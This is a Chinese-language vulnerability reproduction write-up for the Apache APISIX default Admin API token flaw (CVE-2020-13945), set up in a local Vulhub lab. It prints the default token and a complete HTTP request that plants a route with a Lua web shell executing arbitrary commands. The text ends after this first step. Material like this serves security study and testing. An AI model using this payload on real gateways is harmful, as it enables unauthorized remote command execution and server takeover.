漏洞复现 - Apache APISIX 默认 Token RCE 漏洞 (CVE-2020-13945)

本文最后更新于 2025年7月14日下午

🗂️ 简介

Apache APISIX 是一款云原生高性能 API 网关和微服务代理，广泛应用于企业网关、API 管理、负载均衡、动态路由等场景。

CVE-2020-13945 漏洞的核心点在于：

默认情况下，APISIX 管理端（Admin API）使用默认配置文件中的 Token（edd1c9f034335f136f87ad84b625c8f1）作为管理员认证凭证。
如果用户未更改 Token，攻击者可直接使用该默认 Token 访问管理 API。
管理 API 提供了通过 script 参数注入 Lua 脚本的功能，攻击者可插入恶意 Lua 代码，执行任意系统命令，进而远程控制服务器。

🔥 危害极大：未授权 RCE，拿下整个网关后可进行流量劫持、横向移动等攻击。

⚙️ 漏洞环境搭建

这里使用 Vulhub 快速拉起测试环境：

1 2	`cd vulhub-master/apisix/CVE-2020-13945 docker-compose up`

环境启动后，访问：

http://192.168.199.132:9080

可看到默认 404 页面，说明服务已启动成功。

🚩 漏洞复现

📌 1. 添加恶意路由

使用默认管理员 Token，调用 Admin API 新增一个带有恶意 Lua 脚本的路由：

POST /apisix/admin/routes HTTP/1.1
Host: 192.168.199.132:9080
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json

{
  "uri": "/attack",
  "script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
  "upstream": {
    "type": "roundrobin",
    "nodes": {
      "example.com:80": 1
    }
  }
}